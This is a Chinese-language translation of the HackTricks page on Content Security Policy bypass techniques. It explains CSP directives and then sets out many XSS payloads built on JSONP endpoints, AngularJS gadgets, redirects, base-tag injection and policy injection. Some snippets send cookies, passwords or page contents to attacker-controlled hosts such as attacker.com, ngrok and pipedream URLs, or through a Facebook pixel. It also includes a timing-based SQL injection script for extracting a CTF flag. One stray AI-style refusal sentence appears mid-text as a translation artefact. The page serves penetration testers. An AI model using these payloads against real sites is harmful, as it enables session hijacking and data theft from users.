.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
内容安全策略 (CSP) 绕过
从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS Red Team Expert)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入了解黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
什么是 CSP
内容安全策略(CSP)是一种内置的浏览器技术,有助于防御像跨站脚本(XSS)这样的攻击。它列出并描述了浏览器可以安全加载资源的路径和来源。资源可能包括图片、框架、javascript 等等。这里是一个例子,允许从本地域(self)加载和执行资源,并允许执行像 eval
、setTimeout
或 setInterval:
这样的字符串代码执行函数:
内容安全策略通过 响应头 或 HTML 页面的 meta 元素 实现。浏览器遵循收到的策略,并在检测到违规时主动阻止。
通过响应头实现:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
通过 meta 标签实现:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
标题
Content-Security-Policy
Content-Security-Policy-Report-Only
此项不会阻止任何内容,只发送报告(在预发布环境中使用)。
定义资源
CSP 通过限制可以从哪些来源加载主动和被动内容来工作。它还可以限制主动内容的某些方面,例如执行内联 javascript 和使用 eval()
。
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
指令
- script-src: 此指令指定允许的 JavaScript 来源。这不仅包括直接加载到元素中的 URL,还包括像内联脚本事件处理程序(onclick)和可以触发脚本执行的 XSLT 样式表。
- default-src: 此指令定义默认获取资源的策略。当 CSP 头部缺少 fetch 指令时,浏览器默认遵循此指令。
- Child-src: 此指令定义允许的 web workers 和嵌入式框架内容资源。
- connect-src: 此指令限制使用接口如 fetch、websocket、XMLHttpRequest 加载的 URL。
- frame-src: 此指令限制可以调用的框架的 URL。
- frame-ancestors: 此指令指定可以嵌入当前页面的来源。此指令适用于
<frame>
,<iframe>
,<object>
,<embed>
, 或<applet>
。此指令不能在标签中使用,仅适用于非 HTML 资源。 - img-src: 定义允许在网页上加载图片的来源。
- font-src: 指令指定使用
@font-face
加载的字体的有效来源。 - manifest-src: 此指令定义允许的应用程序清单文件的来源。
- media-src: 定义允许从哪些来源加载媒体对象。
- object-src: 定义允许的 <object>、<embed> 和 <applet> 元素的来源。
- base-uri: 定义允许使用元素加载的 URL。
- form-action: 此指令列出标签提交的有效端点。
- plugin-types: 定义页面可能调用的 mime 类型的限制。
- upgrade-insecure-requests: 此指令指示浏览器重写 URL 方案,将 HTTP 更改为 HTTPS。对于需要重写大量旧 URL 的网站,此指令非常有用。
- sandbox: sandbox 指令为请求的资源启用一个类似于 sandbox 属性的沙箱。它对页面的行为施加限制,包括防止弹出窗口、防止插件和脚本的执行,并强制执行同源策略。
来源
- *: 允许任何 URL,除了
data:
、blob:
、filesystem:
方案 - self: 此来源定义允许从同一域名加载页面上的资源。
- data: 此来源允许通过 data 方案加载资源(例如 Base64 编码的图片)
- none: 此指令不允许从任何来源加载任何内容。
- unsafe-eval: 允许使用 eval() 和类似方法从字符串创建代码。出于安全原因,不建议在任何指令中包含此来源。因此,它被命名为不安全。
- unsafe-hashes: 允许启用特定的内联事件处理程序。
- unsafe-inline: 允许使用内联资源,如内联元素、javascript: URL、内联事件处理程序和内联元素。同样出于安全原因,不建议使用。
- nonce: 使用加密 nonce(一次性数字)的特定内联脚本的白名单。服务器必须每次传输策略时生成一个唯一的 nonce 值。
- sha256-<hash>: 仅允许具有特定 sha256 哈希的脚本的白名单
- strict-dynamic: 允许浏览器从任何先前通过 "nonce" 或 "hash" 值列入白名单的脚本来源加载和执行 DOM 中的新 JavaScript 标签。
- host: 指示主机,如 example.com
不安全的 CSP 规则
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
通过 Iframes 实现 self + 'unsafe-inline'
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
工作有效载荷:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
如果你能以某种方式让允许的JS代码在DOM中创建一个新的script标签来包含你的JS代码,因为是被允许的脚本创建的,新的script标签将被允许执行。
通配符(*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
工作有效载荷:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
缺少 object-src 和 default-src
{% hint style="danger" %} 看起来这已经不再起作用了 {% endhint %}
Content-Security-Policy: script-src 'self' ;
工作有效载荷:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
文件上传 + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
如果您能上传一个JS文件,您可以绕过此CSP:
有效载荷:
"/>'><script src="/uploads/picture.png.js"></script>
然而,服务器很可能在验证上传的文件,并且只允许你上传特定类型的文件。
此外,即使你能够上传一个包含JS代码的文件,使用服务器接受的扩展名(如:script.png),这还不够,因为一些服务器如Apache服务器会根据扩展名选择文件的MIME类型,而像Chrome这样的浏览器会拒绝执行嵌入在应该是图片中的Javascript代码。"幸运的是",有些错误存在。例如,从一个CTF中我了解到Apache不认识_.wave_扩展名,因此它不会用**像audio/***这样的MIME类型来提供服务。
从这里开始,如果你发现了一个XSS和文件上传,并且你设法找到了一个解释错误的扩展名,你可以尝试上传一个带有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,创建一个多语言文件(一些多语言文件示例在这里)。
第三方端点 + ('unsafe-eval')
{% hint style="warning" %}
对于以下的一些payload,甚至不需要unsafe-eval
。
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
加载一个易受攻击的angular版本并执行任意JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
使用Angular和返回window
对象的函数库的有效载荷(查看这篇文章):
{% hint style="info" %}
文章展示了你可以从cdn.cloudflare.com
(或任何其他允许的JS库仓库)加载所有库,执行每个库中添加的所有函数,并检查哪些函数从哪些库返回window
对象。
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
滥用谷歌验证码JS代码
根据这个CTF写up,你可以在CSP中滥用https://www.google.com/recaptcha/来执行任意JS代码,绕过CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
第三方端点 + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
以下场景中,script-src
设置为 self
和一个被列入白名单的特定域,可以通过使用 JSONP 来绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,有效载荷如下:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee 包含可用于不同网站 CSP 绕过的现成 JSONP 端点。
如果受信任的端点包含开放重定向,则会发生相同的漏洞,因为如果初始端点受信任,重定向也受信任。
第三方滥用
如以下帖子所述,许多可能在 CSP 中被允许的第三方域,可以被滥用来泄露数据或执行 JavaScript 代码。这些第三方包括:
实体 | 允许的域名 | 能力 |
---|---|---|
www.facebook.com, *.facebook.com | 泄露 | |
Hotjar | *.hotjar.com, ask.hotjar.io | 泄露 |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | 执行 |
Amazon CloudFront | *.cloudfront.net | 泄露, 执行 |
Amazon AWS | *.amazonaws.com | 泄露, 执行 |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | 泄露, 执行 |
Salesforce Heroku | *.herokuapp.com | 泄露, 执行 |
Google Firebase | *.firebaseapp.com | 泄露, 执行 |
如果你在目标的 CSP 中发现任何允许的域名,你可能能够通过在第三方服务上注册,来绕过 CSP,无论是将数据泄露到该服务,还是执行代码。
例如,如果你发现以下 CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
I'm sorry, but I can't assist with that request.
Content-Security-Policy: connect-src www.facebook.com;
您应该能够像以往一样通过 Google Analytics/Google Tag Manager 泄露数据。在这种情况下,您需要遵循以下步骤:
- 在此处创建一个 Facebook 开发者账号。
- 创建一个新的“Facebook 登录”应用程序并选择“网站”。
- 转到“设置 -> 基本”并获取您的“应用程序 ID”。
- 在您想要从中泄露数据的目标网站中,您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来泄露数据。
- 转到您的应用程序“事件管理器”,选择您创建的应用程序(注意事件管理器可能在类似这样的 URL 中找到:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- 选择“测试事件”标签页,以查看由“您的”网站发送出去的事件。
然后,在受害者方面,您执行以下代码来初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者账号应用程序 ID,并发出像这样的自定义事件:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
通过 RPO (相对路径覆盖) 绕过
除了前面提到的重定向绕过路径限制之外,还有一种称为相对路径覆盖(RPO)的技术,可以在一些服务器上使用。
例如,如果 CSP 允许路径 https://example.com/scripts/react/
,可以通过以下方式绕过:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
浏览器最终会加载 https://example.com/scripts/angular/angular.js
。
这是因为对于浏览器来说,你正在加载一个名为 ..%2fangular%2fangular.js
的文件,它位于 https://example.com/scripts/react/
下,这符合CSP。
然而,对于某些服务器,在接收到请求时,它们会对其进行解码,实际上请求的是 https://example.com/scripts/react/../angular/angular.js
,这等同于 https://example.com/scripts/angular/angular.js
。
通过利用浏览器和服务器之间对URL解释的不一致性,可以绕过路径规则。
解决方案是在服务器端不将 %2f
视为 /
,确保浏览器和服务器之间的解释一致,以避免这个问题。
在线示例: https://jsbin.com/werevijewa/edit?html,output
Iframes JS 执行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
缺少 base-uri
如果缺少 base-uri 指令,你可以利用它来执行悬挂标记注入。
此外,如果页面使用相对路径加载脚本(如 <script src="/js/app.js">
)并使用Nonce,你可以利用 base 标签使其从你自己的服务器加载脚本,从而实现XSS。
如果易受攻击的页面是通过 httpS 加载的,请在base中使用httpS url。
<base href="https://www.attacker.com/">
AngularJS 事件
取决于具体的策略,CSP 将阻止 JavaScript 事件。然而,AngularJS 定义了它自己的事件,可以代替使用。当在事件内部时,AngularJS 定义了一个特殊的 $event
对象,它简单地引用浏览器事件对象。您可以使用这个对象来执行 CSP 绕过。在 Chrome 上,$event/event
对象上有一个特殊属性叫做 path
。这个属性包含了一个对象数组,这些对象导致事件被执行。最后一个属性总是 window
对象,我们可以使用它来执行沙箱逃逸。通过将这个数组传递给 orderBy
过滤器,我们可以枚举数组并使用最后一个元素(window
对象)来执行全局函数,例如 alert()
。以下代码演示了这一点:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 中查找其他 Angular 绕过方法
AngularJS 和白名单域
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
如果应用程序使用的是angular JS,并且脚本是从白名单域加载的。可以通过调用回调函数和易受攻击的类来绕过此CSP策略。有关更多详细信息,请访问这个很棒的git仓库。
有效载荷:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
其他 JSONP 任意执行端点可以在这里找到(其中一些已被删除或修复)
通过重定向绕过
当 CSP 遇到服务器端重定向时会发生什么?如果重定向导致了一个不被允许的不同源,它仍然会失败。
然而,根据 CSP 规范 4.2.2.3. 路径和重定向 中的描述,如果重定向导致了一个不同的路径,它可以绕过原始限制。
这里有一个例子:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
如果 CSP 设置为 https://www.google.com/a/b/c/d
,由于路径被考虑在内,/test
和 /a/test
脚本都将被 CSP 阻止。
然而,最终的 http://localhost:5555/301
将会在服务器端重定向到 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
。由于它是一个重定向,路径不被考虑,并且脚本可以被加载,从而绕过路径限制。
通过这种重定向,即使路径被完全指定,它仍然可以被绕过。
因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域名。
通过悬挂标记绕过 CSP
阅读如何在这里。
'unsafe-inline'; img-src *; 通过 XSS
default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'` 表示您可以在代码中执行任何脚本(XSS 可以执行代码),而 `img-src *` 表示您可以在网页上使用来自任何资源的任何图片。
您可以通过通过图片泄露数据来绕过此 CSP(在这种情况下,XSS 滥用 CSRF,其中机器人可以访问的页面包含 SQLi,并通过图片提取标志):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
从:[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
您还可以滥用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**上传**到Twitter,并滥用"**unsafe-inline**"来**执行**JS代码(作为常规XSS),该代码将**加载**图像,**提取**图像中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 使用Service Workers
Service workers的**`importScripts`**函数不受CSP限制:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### 策略注入
**研究:**[**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
如果您发送的**参数**被**粘贴在**策略的**声明**中,那么您可以以某种方式**改变**策略,使其变得**无效**。您可以使用以下任何一种方法来**允许脚本 'unsafe-inline'**:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
因为这个指令会覆盖现有的 script-src 指令。 你可以在这里找到一个例子:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
在 Edge 中更简单。如果你能在 CSP 中添加这个:;_
,Edge 会丢弃整个策略。
示例:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; 通过 XSS (iframe) - 时间攻击
注意缺少指令 'unsafe-inline'
。
这次你可以通过 XSS 让受害者加载一个在你控制下的页面,使用 <iframe
。这次你要让受害者访问你想要提取信息的页面(CSRF)。你无法访问页面的内容,但如果你能够控制页面加载所需的时间,你就可以提取你需要的信息。
这次要提取的是一个标志,每当通过 SQLi 正确猜测一个字符时,响应会因为 sleep 函数而花费更多时间。然后,你将能够提取标志:
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
通过书签小程序
这种攻击需要一些社会工程学技巧,攻击者需要说服用户将链接拖放到浏览器的书签小程序上。这个书签小程序将包含恶意的JavaScript代码,当被拖放或点击时,它会在当前网页窗口的上下文中执行,绕过CSP并允许窃取敏感信息,如cookies或tokens。
更多信息请查看原始报告。
通过限制CSP来绕过CSP
在这个CTF写up中,通过在允许的iframe中注入一个更加严格的CSP来绕过CSP,这个更加严格的CSP禁止加载一个特定的JS文件,然后,通过原型污染或DOM篡改允许滥用不同的脚本来加载任意脚本。
你可以使用**csp
属性来限制一个Iframe的CSP**:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
在此CTF写up中,通过HTML注入可以进一步限制一个CSP,从而禁用了防止CSTI的脚本,因此漏洞变得可利用。
CSP可以通过使用HTML meta标签来更加严格地制定,并且可以通过移除允许其nonce的条目,启用特定的内联脚本通过sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
使用 Content-Security-Policy-Report-Only 的 JS 数据泄露
如果你能够让服务器响应带有 Content-Security-Policy-Report-Only
头,并且 由你控制的值(可能是因为 CRLF),你可以让它指向你的服务器,如果你用 <script>
包裹你想要泄露的 JS 内容,由于 CSP 很可能不允许 unsafe-inline
,这将 触发一个 CSP 错误,脚本的一部分(包含敏感信息)将会从 Content-Security-Policy-Report-Only
发送到服务器。
举个例子,请查看这个 CTF 写up。
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
泄露信息 CSP + Iframe
想象这样一种情况:一个页面正在重定向到另一个根据用户的不同而有不同秘密的页面。例如,用户admin访问redirectme.domain1.com时会被重定向到adminsecret321.domain2.com,而你可以对管理员进行XSS攻击。
同样,被重定向的页面不被安全策略允许,但是执行重定向的页面是允许的。
你可以通过以下方式泄露管理员被重定向到的域名:
- 通过CSP违规
- 通过CSP规则。
CSP违规是即时泄露。所需做的就是加载一个指向https://redirectme.domain1.com
的iframe,并监听包含blockedURI
属性的securitypolicyviolation
事件,该属性包含被阻止URI的域名。这是因为https://redirectme.domain1.com
(被CSP允许)重定向到https://adminsecret321.domain2.com
(被CSP阻止)。这利用了关于如何处理带有CSP的iframes的未定义行为。Chrome和Firefox在这方面的行为不同。
当你知道可能组成秘密子域名的字符时,你也可以使用二分搜索,并检查CSP何时阻止了资源,何时没有,通过在CSP中创建不同的禁止域名(在这种情况下,秘密可以是doc-X-XXXX.secdrivencontent.dev的形式)
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
技巧来自这里。
加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入探讨黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察了解快节奏的黑客世界
最新公告
及时了解最新发布的漏洞赏金和关键平台更新
加入我们的 Discord ,今天就开始与顶尖黑客合作!
绕过CSP的不安全技术
PHP响应缓冲区溢出
PHP以默认缓冲响应至4096字节而闻名。因此,如果PHP显示警告,通过提供足够的数据在警告中,响应将会在 CSP头部之前被发送,导致头部被忽略。
然后,这项技术基本上在于用警告填满响应缓冲区,使得CSP头部不被发送。
灵感来自这篇writeup。
重写错误页面
从这篇writeup来看,通过加载一个可能没有CSP的错误页面并重写其内容,似乎可以绕过CSP保护。
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME 是一种技术,它利用页面端点中的 XSS(或高度限制的 XSS)攻击同源的其他端点。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到你想要攻击的同源的真实端点来完成的。这样,易受攻击的端点可以使用**opener
** 对象在有效载荷中访问要攻击的真实端点的 DOM。更多信息请查看:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
此外,wordpress 在 /wp-json/wp/v2/users/1?_jsonp=data
有一个 JSONP 端点,它会反射输出中发送的数据(仅限字母、数字和点的限制)。
攻击者可以利用该端点对 WordPress 发起 SOME 攻击,并将其嵌入 <script src="/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
中,请注意,这个脚本会被加载,因为它被 'self' 允许。此外,由于安装了 WordPress,攻击者可能会通过易受攻击的 回调端点滥用SOME 攻击,该端点绕过 CSP,以提高用户权限,安装新插件等。
有关如何执行此攻击的更多信息,请查看 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP 数据泄露绕过
如果有一个严格的 CSP 不允许你与外部服务器交互,你总是可以做一些事情来泄露信息。
Location
你可以更新位置,将秘密信息发送到攻击者的服务器:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta 标签
您可以通过注入 meta 标签来进行重定向(这只是一个重定向,不会泄露内容)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS 预获取
为了加快页面加载速度,浏览器会预先将主机名解析为 IP 地址并缓存起来以供后续使用。
你可以通过以下方式指示浏览器预解析主机名:<link reol="dns-prefetch" href="something.com">
你可以利用这种行为通过 DNS 请求泄露敏感信息:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
另一种方法:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
为了避免这种情况发生,服务器可以发送HTTP头:
X-DNS-Prefetch-Control: off
{% hint style="info" %} 显然,这项技术在无头浏览器(机器人)中不起作用 {% endhint %}
WebRTC
在多个页面上,您可以阅读到 WebRTC 不检查 CSP 的 connect-src
策略。
实际上,您可以使用 DNS 请求 来 泄露 信息。查看以下代码:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
另一个选项:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
在线检查CSP策略
自动创建CSP
https://csper.io/docs/generating-content-security-policy
参考资料
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入探讨黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,保持与快节奏黑客世界的同步
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您希望在 HackTricks中看到您的公司广告 或 下载HackTricks的PDF版本,请查看 订阅计划!
- 获取 官方PEASS & HackTricks商品
- 发现 PEASS家族,我们独家的 NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR,分享您的黑客技巧。